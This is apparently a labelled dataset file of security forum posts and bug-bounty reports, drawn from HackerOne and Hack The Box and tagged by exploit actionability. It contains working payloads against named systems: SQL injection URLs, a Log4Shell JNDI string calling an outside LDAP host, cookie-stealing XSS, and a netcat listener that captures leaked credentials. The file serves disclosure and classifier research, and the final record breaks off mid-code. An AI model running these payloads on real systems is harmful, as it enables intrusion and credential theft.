-{"id": "f4d74691e839e00128a5", "text": "[Misconfiguration] The `stripe/veneur` GitHub repository links to a domain `veneur.org`, which is not under stripe's control\n\nInitially reported at https://github.com/stripe/veneur/issues/1058. Since that report, the repository's sidebar has been updated to no longer link to the uncontrolled domain. Many of the 179 forks of this repository still contain the link to the uncontrolled domain.\n\n## Summary:\n- The github.com/stripe/veneur repository contains security-sensitive code which is designed to run within a company's private network, often as a sidecar on each of their application servers.\n- The repository's README and documentation does not contain instructions for installing veneur. Instead, it linked to an external domain, `https://veneur.org`, which contained those instructions.\n- The `https://veneur.org` domain appears to be no longer under Stripe's control.\n- If the website is not under Stripe's control, it is an easily exploitable vector for a phishing or supply chain contamination attack. The targets of this attack would be user's of the open source release of veneur (not specifically Stripe), and Stripe customers.\n- Example attack:\n  - step one: control `https://veneur.org`, either because you are the current owner or you purchase the domain.\n  - step two: recreate the old site, but edit the installation instructions to reference malicious source code or a docker image built with malicious code.\n  - step three: a veneur user follows the instructions\n  - outcome: attacker-controlled code/image running inside a privileged environment.\n- Example attack two:\n  - step one: control `https://veneur.org`, either because you are the current owner or you purchase the domain.\n  - step two: replace the contents of the website with a fake Stripe login screen.\n  - step three: a veneur user, who is likely to also be a Stripe user, enters their username and password into the fake login screen.\n  - outcome: attacker gains access to privileged credentials. Because the `https://veneur.org` website is linked to by an official, Stripe-controlled repository, there is a much greater likelihood that the attack will succeedd than if it had to operate on a different domain.\n\n## Steps To Reproduce:\n1. Visit https://github.com/stripe/veneur\n2. Click on the `https://veneur.org` link in the sidebar.\n\nSince I initially reported this issue in the Github repository, at https://github.com/stripe/veneur/issues/1058 , the sidebar has been edited to no longer link to `https://veneur.org`. Many of the 179 forks of this repository still contain the link to the uncontrolled domain.\n\n## Supporting Material/References:\n\nInitial report with images:\n- https://github.com/stripe/veneur/issues/1058\n\nThe link in the sidebar:\n- https://user-images.githubusercontent.com/824173/242777008-1e2b02af-be8c-484c-b131-842d570bdb89.png\n\nThe contents of the website currently:\n- https://user-images.githubusercontent.com/824173/242777079-12830e1c-7928-460c-81b0-26523062f510.png\n\n## Impact\n\nAn attacker can easily impersonate Stripe, taking advantage of the fact that this website is linked to by an official Stripe-owned web page. They can use this as the beginning of a phishing or a supply-chain contamination attack targeting Stripe's customers.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cf779b869d7149d0da5e", "text": "[Information Disclosure] Users querying dim_hacker_reports table through Analytics API can determine data from dim_reports table using WHERE or HAVING query\n\nThe query builder for the Analytics API is vulnerable to a confusion attack. The `dim_reports` and `dim_hacker_reports` tables both pull their data from the `Analytics::DimReport` model. When applying a `WHERE` clause or `HAVING` clause with a `FILTER` in the HackerOne Analytics Query Language (HAQL), an attacker can create references to columns outside of the HAQL table schema. Assume that there is a table looking as following:\n\n| report_id | is_triage_sla_missed |\n| --- | --- |\n| 27 | false |\n\nAnd the following two schema definitions:\n\n```ruby\n'dim_reports': {\n  'model': 'Analytics::DimReport',\n  'columns': {\n    'report_id': TYPE_NUMBER,\n    'is_triage_sla_missed': TYPE_BOOLEAN,\n  }\n}\n```\n\n```\n'dim_hacker_reports': {\n  'model': 'Analytics::DimReport',\n  'columns': {\n    'report_id': TYPE_NUMBER,\n  }\n}\n```\n\nThe `is_triage_sla_missed` column can only be queried through the `dim_reports` table, which reporters of a report do not have access to. However, when querying the `report_id` from either table, it results in the following SQL to being executed:\n\n```sql\nSELECT \n  \"analytics\".\"dim_reports\".\"report_id\" AS dim_hacker_reports__report_id \nFROM \n  \"analytics\".\"dim_reports\" \nWHERE \n  (\n    \"analytics\".\"dim_reports\".\"reporter_id\" = ?\n    AND \"analytics\".\"dim_reports\".\"reporter_id\" IS NOT NULL\n  ) \nLIMIT \n  1000 OFFSET 0\n```\n\nAs can be seen, there is no alias assigned to the `dim_reports` table. This can be used to confuse the query builder by using a reference to the `dim_reports` table, even though that table wasn't queried from. As an example:\n\n```\nquery {\n  analytics(queries: [\n    {\n      select: [\n        {\n          field: dim_hacker_reports__report_id\n        }\n      ]\n      from: dim_hacker_reports\n      where: {\n        predicates: [\n          {\n            left: {\n              ref: dim_reports__is_triage_sla_missed\n            }\n            function: eq\n            right: {\n              boolean: false\n            }\n          }\n        ]\n      }\n    }\n  ]) {\n    keys\n    values\n  }\n}\n```\n\nThe `dim_reports__is_triage_sla_missed` reference should fail to be used, because `dim_reports` isn't being selected from or joined into the query. However, it misses this check, allowing the column to be referenced even though it isn't present in the `dim_hacker_reports` schema. Based on whether the query returns the row, the value of the column can be obtained:\n\n**Data in column was guessed correctly**\n{F2107683}\n\n**Data in column does not match expectation**\n{F2107684}\n\n## Impact\n\nEven though there isn't any sensitive data that can be queried through the `dim_reports` table schema today, this may cause unauthorized access to sensitive data in the future.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "38028c79ceda601e197f", "text": "People, tell me about the overflow . RIP under control, but how can I put the reverse shell into 72 bytes? My shellcode is at least 95 bytes?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9e5edb57ff0d0cb2be5e", "text": "Burp Browser cannot work with a modified /etc/hosts entry\n\nHello, I am having an issue using burp or any proxy for that matter when an IP address requires me to make an entry into the /etc/hosts file. Whenever I modify the /etc/hosts/ file and I try to visit the website, Burp gives me a default Spectrum Router info page. I do not have this issue with my browser on my Kali. I can visit the domain in /etc/hosts but not on Burp Browser and through foxyproxy. I do not have this issue when boxes do not have a domain name and just goes straight to IP address.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c3c54532224a6dcd5603", "text": "[Improper Access Control - Generic] Organization members can delete reports in teams they have no access to\n\n**Summary:**\nHello team, \nWhile testing the analytics reports functionality for an organization, I realized that organization members can delete reports created for a team they have no access to.\n\nIf an organization has 2 teams and a member has access to both teams, when they view the reports page, they can see the reports created for both teams. But, if the member access is restricted to a single team, then they can only see the reports generated for that team, the reports for the other team are not displayed to the restricted member. \nHowever, the team member can delete these reports by using the ```DeleteAnalyticsReport``` and replacing the analytics report id.\nI tried to edit the same report from the restricted team but it gives an error. \n\nThe same control should also be applied in the delete report query.\n\n### Steps To Reproduce\n\n1. Using  a team member with access to 2 teams in your demo, navigate to https://hackerone.com/organizations/your_demo/analytics/reports\n2. Create a report for one of your teams by specifying the filters. (I have 2 teams comb26_h1b and comb26_h1r, I created a report for comb26_h1r). copy the id for that report\n\n{F2767458}{F2767459}\n3. Remove access for that user from the team they have created the report.  (I removed all access to the comb26_h1r team and also removed the admin role)\n\n{F2767464}\n4. Go back to the reports section and notice that the report they created is not shown since they do not have access to that team.\n5. Replace the id of the report you created in step 2 in the GraphQL request below:\n```\n{\"operationName\":\"DeleteAnalyticsReport\",\"variables\":{\"reportIds\":[644],\"product_area\":\"other\",\"product_feature\":\"other\"},\"query\":\"mutation DeleteAnalyticsReport($reportIds: [Int!]!) {\\n  deleteAnalyticsReport(input: {analytics_report_ids: $reportIds}) {\\n    errors {\\n      edges {\\n        node {\\n          type\\n          field\\n          message\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n6. Notice that the report is successfully deleted.\n\n██████████\n\n## Impact\n\nUsers without access to a team can delete reports in the restricted team", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "62fd92bd281e012ef61d", "text": "[Heap Overflow] Read and write beyond bounds in mod_sed\n\nThis CVE consists of several bugs in mod_sed, where overflows, truncation, uses after free and a logic error can allow a remote, unauthenticated attacker to read and/or write heap locations beyond bounds. See https://github.com/apache/httpd/commit/943f57b336f264d77e5b780c82ab73daf3d14deb and https://github.com/apache/httpd/commit/e266bd09c313a668d7cca17a8b096d189148be49 for the commits that fixed the bugs. Attached are my reports to the httpd team; email me if you need additional information.\n\n----\n1. Use-after-free and truncation/overflows causing read/write beyond bounds:\n```\nGreetings. I have discovered a use-after-free bug in sed1.c that causes a read and/or write beyond bounds.\n\nThe bug is that dosub() (modules/filters/sed1.c) does not update |step_vars->loc1| or |step_vars->loc2| after appending to -- and thus possibly causing an expansion and reallocation of -- |genbuf| and/or |linebuf|. If a reallocation of |linebuf| occurs, this omission leaves |step_vars->loc1| and |step_vars->loc2| pointing into the old |linebuf|, causing failures later.\n\nWhen control exits dosub(), then enters again on the next iteration of the loop in substitute() [1], a read and/or write beyond bounds occurs in the first call from dosub() to place(), because place()'s |al1| argument points to the new |linebuf|, while the |al2| argument points to the old |linebuf|. This causes place() to calculate a bogus |n|:\n\n   int n = al2 - al1;\n\n[2] and then to read and/or write beyond bounds via:\n\n   memcpy(sp, al1, n);\n\nThe invalid access is only an incorrectly-shortened read or a read beyond bounds if |n| does not become negative and if\n\n   unsigned int reqsize = (sp - eval->genbuf) + n + 1;\n\ndoes not overflow, because in this case the resulting |genbuf| is large enough to accomodate |n| bytes of data. If, however, |n| is negative or |reqsize| overflows, |reqsize| is too small, and place() doesn't enlarge |genbuf| to accomodate the true |n|, causing the memcpy() to write beyond bounds.\n\nBelow is a POC that demonstrates the issue.\n\nUse the POC thusly:\n\n   1. Build httpd_bug_17h.cpp (below) using Visual Studio, modifying the server IP address (127.0.0.1 in the provided code) to be instead the IP address or DNS name of the test httpd server installation.\n\n   2. Copy postform.htm (below) to /bug17h/postform.htm in the httpd server's ServerRoot folder.\n\n   3. Add the httpd.conf lines (see below) into the httpd server installation's httpd.conf in a <Location> section for the ServerRoot folder.\n\n   4. Restart httpd.\n\n   5. Attach a debugger to httpd and set a breakpoint on grow_line_buffer ().\n\n   6. Run httpd_bug_17h, which will send the triggering POST data to httpd.\n\n   7. When the breakpoint fires, check |newsize|. If it is < ~33MB let control continue. When |newsize| reaches 16MB, continuing will cause execution to resume for ~15 minutes (on a relatively-old CPU).\n\n   8. When |newsize| reaches ~33MB, examine and record the values of |eval->linebuf| and |eval->lspend|. Now step over the call to grow_buffer() and notice that it reallocates the line buffer, giving new values for |eval->linebuf| and |eval->lspend|.\n\n   9. Step out of grow_line_buffer(), etc., back into dosub(). Step the last few lines of dosub() and notice how it leaves |step_vars|'s |loc*| members pointing to the old |linebuf|.\n\n   10. Now set a BP on dosub()'s first call to place() and proceed.\n\n   11. When the BP fires, step into place(). Notice that |al2| points into the old |linebuf|, whereas |al1| points into the new |linebuf|. Step through the calculation of |n| and notice how it's bogus (in my tests, it's negative). Notice how |reqsize| also becomes bogus. Step the rest of the function and notice how the memcpy() reads beyond bounds.\n\nNote that the POC uses an expansion factor of 256 (i.e., one \"0\" becomes 256 \"z\" characters. I suspect that more realistic expansion factors will trigger the same bug. I am working on a POC to show that.)\n\nThis bug is still present in trunk. https://svn.apache.org/viewvc/httpd/httpd/trunk/module", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cf963b04028bf00023d8", "text": "[Out-of-bounds Read] CVE-2022-35260: .netrc parser out-of-bounds access\n\n## Summary:\nCurl expects the .netrc file to have space characters. So if there is no space character, it will do an out-of-bounds read and a 1-byte out-of-bounds write.\nThis can happen multiple times depending on the state of the memory.\n\n## Steps To Reproduce:\n\n  `curl --netrc-file .netrc test.local`\n\".netrc\" is attached.\nThe content is 'a' for 4095 bytes.\nDepending on memory conditions, even single-byte files can cause problems.\n\nIt's not exactly just spaces and newlines.\nThe condition is that the .netrc file does not contain characters for which ISSPACE() returns true (so it is also a condition that there is no line feed code).\nThere is a problem with parsenetrc() in lib/netrc.c.\nparsenetrc() has the following loop.\n```\n    while(!done && fgets(netrcbuffer, netrcbuffsize, file)) {\n      char *tok;\n      char *tok_end;\n      bool quoted;\n      if(state == MACDEF) {\n        if((netrcbuffer[0] == '\\n') || (netrcbuffer[0] == '\\r'))\n          state = NOTHING;\n        else\n          continue;\n      }\n      tok = netrcbuffer;\n      while(tok) {\n        while(ISSPACE(*tok))\n          tok++;\n        /* tok is first non-space letter */\n        if(!*tok || (*tok == '#'))\n          /* end of line or the rest is a comment */\n          break;\n\n        /* leading double-quote means quoted string */\n        quoted = (*tok == '\\\"');\n\n        tok_end = tok;\n        if(!quoted) {\n          while(!ISSPACE(*tok_end))\n            tok_end++;\n          *tok_end = 0;\n        }\n```\nThe 'a' and the terminating character '\\0' in the .netrc file are characters for which ISSPACE() returns false, so while on line 25 is true(!false).\nThis causes an out-of-bounds read.\nAlso, line 27 is an out-of-bounds write. (1 byte for '\\0).\n\n## Remediation ideas:\nI think it would be better to include the condition that *tok is not NULL in the while statement.\n\n## Impact\n\nApplication crash plus other as yet undetermined consequences.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35260"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa0bbb8fbcf64895e133", "text": "I hope you find this helpful, MoCA adapters and network extenders offer throughput speeds of up to 2.5Gbps and are perfect for removing dead spots in your network. They are an excellent way to improve a home or corporate network without installing new wiring since they work off of existing coaxial cables. They offer high security, too, and are relatively simple to install. Whether you want to stream your videos at the highest quality possible, up your online gameplay or improve your company’s efficiency, MoCA technology can help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e6a8f28a4282d3f4f05", "text": "[Insufficient Session Expiration] Argocd's web terminal session doesn't expire\n\nThe vulnerability is that  web terminal sessions do not expire, even if the argocd's web session has expired.\n\nStep 1: Log in to ArgoCD.\n\nStep 2: Open a web terminal session in ArgoCD, which is used to operate a machine.\n\nStep 3: Wait until the web session expires, but the web terminal session does not expire.\n\n## Impact\n\nAll versions of Argo CD starting from v2.6.0 have a bug where open web terminal sessions do not expire. This bug allows users to send any websocket messages even if the token has already expired. The most straightforward scenario is when a user opens the terminal view and leaves it open for an extended period. This allows the user to view sensitive information even when they should have been logged out already.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a8f49fa1994a9fadcaae", "text": "[Business Logic Errors] [app.lemlist.com] Improper handling of payment lead to bypass payment\n\n## Summary:\nHello Team,\nI truly hope it treats you awesomely on your side of the screen :)\n\ndue to improper handling of payment methods, an attacker can easily bypass the payment and benefit from a paid plan.\n\n## Steps To Reproduce:\n\n1. Log to your account\n1. Go to the billing page\n1. Fill in the address tab\n1. Go to the next tab `Payment Card` \n1. ==Now the interesting step Make sure you don't have any money on your credit card==\n1.  Chose `Email outreach` and wait until you get a notification that the payment is failed\n1.  Next  increase the number of seats for example 50 \n1. Again you will get a notification that the payment is failed\n1. Now Cancel the subscription\n1. Now I can use the paid features without paying anything.\n\n# POC\n{{F1538593}}\n\n## Impact\n\nI think the impact is pretty obvious, an attacker can use paid plans without paying anything.\n\nif you need more info feel free to ping me \n\nbest Regards\n@omarelfarsaoui", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ced919051fad028a4c37", "text": "[Improper Access Control - Generic] IDOR at https://demo.sftool.gov/TwsHome/ScorecardManage/ via scorecard name\n\nHi Team,\n\nI have found a broken access control vulnerability on https://demo.sftool.gov/ under your /tws directory. \nI made two accounts.\nOne account i browsed to /tws and created a new scorecard. Here i can submit all information I need. The scorecard name is in the end of the URL https://demo.sftool.gov/TwsHome/ScorecardManage/testdsfdfsf\nI logged out this account\nI logged into attacker account. I browse to https://demo.sftool.gov/TwsHome/ScorecardManage/testdsfdfsf (the last part is the name of the other accounts score card). I can now view the scorecard and even edit the score card from the attackers account. I can add accounts to read only and edit permissions on the score card and change information as-well as download the score card.\n\nLog back into the victim account and the scorecard information has been changed, downloaded and attacker has assigned permissions.\n\nWe can brute force scorecard names but i am not doing this as the above on my accounts already shows the issue.\n\nMany thanks\nHolla\n\n## Impact\n\nAn attacker can read, edit and download and assign permissions to another users scorecard.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dc8382530a66f6bbb40a", "text": "[SQL Injection] SQL Injection on https://soa-accp.glbx.tva.gov/ via \"/api/\" path - VI-21-015\n\n## Summary:\n \ni've found this subdomain ```soa-accp.glbx.tva.gov``` also is vulnerable to SQLI through /api/ path\n\n## Steps To Reproduce:\n\n```https://soa-accp.glbx.tva.gov/api/river/observed-data/GVDA1'+%2f*!50000union*%2f+SELECT+HOST_NAME()--+-``` hostname dumped\n\n```https://soa-accp.glbx.tva.gov/api/river/observed-data/GVDA1'+%2f*!50000union*%2f+SELECT+@@version--+-``` \n\nMicrosoft SQL Server 2017 (RTM-CU22-GDR) (KB4583457) - 14.0.3370.1 (X64) \\n\\tNov  6 2020 18:19:52 \\n\\tCopyright (C) 2017 Microsoft Corporation\\n\\tEnterprise Edition (64-bit) on Windows Server 2012 R2 Standard 6.3 <X64> (Build 9600: ) (Hypervisor)\\n\n\nalso you can retest it through time bassed trick\n\n```time curl -k \"https://soa-accp.glbx.tva.gov/api/river/observed-data/-GVDA1'+WAITFOR+DELAY+'0:0:10'--+-\"```\n\n{F1230364}\n\n## Impact\n\nAn attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c5da810f9443a77f2ccf", "text": "Privesc MonitorsTwo\n\nHello guys, i got the user access and the related flag, but i’m stuck in privesc, i did the various enumerations and i should have found a way through the containers (41091) but i can’t spawn the shell", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f22223c0cecc233d5b32", "text": "[Business Logic Errors] CVE-2022-32208: FTP-KRB bad message verification\n\n## Summary:\nlibcurl handles `gss_unwrap` `GSS_S_BAD_SIG` error incorrectly.  This enables malicious attacker to inject arbitrary FTP server responses to GSSAPI protected FTP control connection and/or make the client consume unrelated heap memory as a FTP command response.\n\nThe defective `krb5_decode` function  is as follows:\n ```\nstatic int\nkrb5_decode(void *app_data, void *buf, int len,\n            int level UNUSED_PARAM,\n            struct connectdata *conn UNUSED_PARAM)\n{\n  gss_ctx_id_t *context = app_data;\n  OM_uint32 maj, min;\n  gss_buffer_desc enc, dec;\n\n  (void)level;\n  (void)conn;\n\n  enc.value = buf;\n  enc.length = len;\n  maj = gss_unwrap(&min, *context, &enc, &dec, NULL, NULL);\n  if(maj != GSS_S_COMPLETE) {\n    if(len >= 4)\n      strcpy(buf, \"599 \");\n    return -1;\n  }\n\n  memcpy(buf, dec.value, dec.length);\n  len = curlx_uztosi(dec.length);\n  gss_release_buffer(&min, &dec);\n\n  return len;\n}\n```\nNote how `read_data` function will set the `buf->size` to result of the decode operation as-is without considering  possible `-1` return code and that size `buf->size`  is of type `size_t`:\n```\n/* Types needed for krb5-ftp connections */\nstruct krb5buffer {\n  void *data;\n  size_t size;\n  size_t index;\n  BIT(eof_flag);\n};\n```\n```\nstatic CURLcode read_data(struct connectdata *conn,\n                          curl_socket_t fd,\n                          struct krb5buffer *buf)\n{\n  int len;\n  CURLcode result;\n\n  result = socket_read(fd, &len, sizeof(len));\n  if(result)\n    return result;\n\n  if(len) {\n    /* only realloc if there was a length */\n    len = ntohl(len);\n    buf->data = Curl_saferealloc(buf->data, len);\n  }\n  if(!len || !buf->data)\n    return CURLE_OUT_OF_MEMORY;\n\n  result = socket_read(fd, buf->data, len);\n  if(result)\n    return result;\n  buf->size = conn->mech->decode(conn->app_data, buf->data, len,\n                                 conn->data_prot, conn);\n  buf->index = 0;\n  return CURLE_OK;\n}\n```\nWhen `gss_unwrap` returns an error the `krb5_decode` code attempts to erase the buffer by prefixing the buffer with `599 \\0`. However, this doesn't take into account the case that arbitrary number of bytes can be read by `read_data` function. Hence the buffer may contain multiple lines not just one. The attacker merely needs to find a position in the FTP protocol where ftpcode `599` doesn't lead to connection termination to take over the GSSAPI protected FTP session control channel. From that point onwards the server responses can be forged by the attacker (but need to be predicted, as the attacker has no direct knowledge of the actual commands sent to the server).\n\nIt's also notable that the any `gss_unwrap` error leading to `-1` size will lead to `sec_recv` consuming unallocated heap buffer via `buffer_read` if the reading application keeps reading more data:\n```\nstatic size_t\nbuffer_read(struct krb5buffer *buf, void *data, size_t len)\n{\n  if(buf->size - buf->index < len)\n    len = buf->size - buf->index;\n  memcpy(data, (char *)buf->data + buf->index, len);\n  buf->index += len;\n  return len;\n}\n```\nThis can lead to disclosure of confidential information from the heap - depending on application this may reveal application secrets  to the user (for example via verbose error messages). This is a local leak however, so this impact is only meaningful if the information in heap is normally hidden from the user.\n\n## Impact\n\n- Injection of arbitrary FTP control channel server responses to supposedly GSSAPI protected FTP session.\n- Potential leak of local heap memory to client.\n\nThe practical impact of this vulnerability is rather low, considering the rarity of Kerberos FTP and requirement of either man in the middle or victim connecting to malicious server.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-32208"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "81af474690dd4730bbf2", "text": "[Code Injection] ██████_log4j - https://██████\n\nHi security team, i found a log4j vulnerability in your aplication\n\n## Impact\n\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nSend POST request to this endpoint --->  https://██████/mifs/j_spring_security_check\n\n\nthe post request: \n\nj_username=${jndi:ldap://${hostName}.youinteractsserver}&j_password=password&logincontext=employee\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a7d7cd5f8d33e05e64f", "text": "[Unknown] [Java] CWE-400: Query to detect uncontrolled thread resource consumption\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9af4f93fb7b38ad9de1b", "text": "Yes, I used the blur spoiler markup for those not interested in the direct answer (though I assumed it could be unmasked if clicked on). Yes, I also used a different class other than BIOS as well. Glad you got it figured out!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7a311c65b3c99ead5ca2", "text": "[Unknown] Self-DoS due to template injection via email field in password reset form on access.acronis.com\n\n## Summary\nHI acronis security team , how are you\nI hope everyone is OK in the other side of the screen .\nI found Template Injection in [https://access.acronis.com/reset_password/new] via the mail input .\n\n## Steps To Reproduce:\n\n 1. Open [https://access.acronis.com/reset_password/new] and Enter the mail Payload : sudo_bash{{8*8}}@wearehackerone.com\n 2. After submite the mail , The resulte will Reflect in the page with the mail adress .\n\n## Impact\n\n- AngularJs CCTI may lead to xss .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "184fd576c73de4ac67ef", "text": "[Cross-site Scripting (XSS) - Reflected] Shop - Reflected  XSS  With  Clickjacking Leads to Steal User's Cookie  In Two Domain\n\nHii  Security Team ,\n\nI am S Rahul MCEH(Metaxone Certified Ethical Hacker) and a Security Researcher I just checked your website and found Reflected XSS to Good XSS Clickjacking In Two Domain\n\nDescription:- As the search parameter is vulnerable to XSS and but the plus point is there is  no X-Frame-Header or Click-jacking Protection.So by combing this two methods the Attack Easier And Converted it to Well Working XSS on Other User’s . \n\nVulnerable Urls:- https://marthastewart.com/shop/all.html?s=\n                            https://bhg.com/shop/all.html?s=\n\t\t\nSteps to reproduce :-\n1. Navigate to  Vulnerable URLS and As we know that ?s= parameter is vulnerable to XSS \n\n2.As Reflected XSS Occurs on :-\n\tExample1 :-  https://bhg.com/shop/all.html?s=%E2%80%98);%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\n\tExample2 :-  https://marthastewart.com/shop/all.html?s=%E2%80%98);%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\n\n3.The attacker can use different Payloads like document.domain etc \n\n4.Now as we know there is no X-Frame-Header or Click-jacking Protection that can leads to successful attack\n\n5.Now we will create POC.html to send the victim and steal the cookies of the other users { POC.html is attached below }\n\n6.Now as the victim opens the POC.html the attacker will get the cookies of the users or victim\n\nRefernces:-\nhttps://arbazhussain.medium.com/self-xss-to-good-xss-clickjacking-6db43b44777e\nhttps://hackerone.com/reports/470206\nhttps://hackerone.com/reports/892289\n\n## Impact\n\nImpact\nBy exploiting this Vulnerability\n1.An attacker can force the customer to execute XSS and Steal user's cookie.\n2.Launch advanced phishing attacks by rendering arbitrary HTML forms.\n3.Force users to download malware/viruses.\n4.Execute browser-based attacks etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6ec2cee887eb79b018f9", "text": "[Insufficiently Protected Credentials] CVE-2022-27776: Auth/cookie leak on redirect\n\n## Summary:\ncurl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).\n\n## Steps To Reproduce:\n\n1. Configure for example Apache2 to perform redirect with mod_rewrite:\n   ```\n   RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]\n    ```\n  ... the attacker could also use `.htpasswd` file to do so.\n  2. Set up netcat to listen for the incoming secrets:\n    `while true; do echo -ne 'HTTP/1.1 404 nope\\r\\nContent-Length: 0\\r\\n\\r\\n' | nc -v -l -p 9999; done`\n  3. `curl-L -H \"Authorization: secrettoken\" -H \"Cookie: secretcookie\" https://hostname.tld/redirectpoc`\n \nThe redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:\n```\nGET / HTTP/1.1\nHost: hostname.tld:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\nAuthorization: secrettoken\nCookie: secretcookie\n```\n\nThe attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.\n\nThis vulnerability is quite similar to `CVE-2022-27774` and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.\n\nThis bug appears to be at: \n- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904\n- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850\n\n## Impact\n\nLeak of Authorization and/or Cookie headers.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27776", "CVE-2022-27774"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "23d11a587a6c6fc75793", "text": "[Expected Behavior Violation] CVE-2022-32221: POST following PUT confusion\n\n## Summary:\nThe bug I submitted at https://github.com/curl/curl/issues/9507 can have at least a few unintended security issues:\n- Information Disclosure: this bug causes an HTTP PUT to occur when the user intends for an HTTP POST to occur. The user, who intended an HTTP POST, expects the POSTed information to come from CURLOPT_POSTFIELDS. However, as an HTTP PUT is performed instead, the data that is PUT comes from a buffer specified in CURLOPT_READDATA, which may be sensitive information intended for an entirely different host (host1.com below). If CURLOPT_READDATA is not specified, this data could come from stdin!\n- Use after free: using the description above, if the user had already freed the data specified in CURLOPT_READDATA, then the unintended HTTP PUT (which was intended to be an HTTP POST) would attempt to read the freed data specified in CURLOPT_READDATA.\n\n## Steps To Reproduce:\nThe following code is similar to the code I posted at https://github.com/curl/curl/issues/9507, but now highlights the potential security issues (which I did not think wise to disclose on GitHub):\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <curl/curl.h>\n\ntypedef 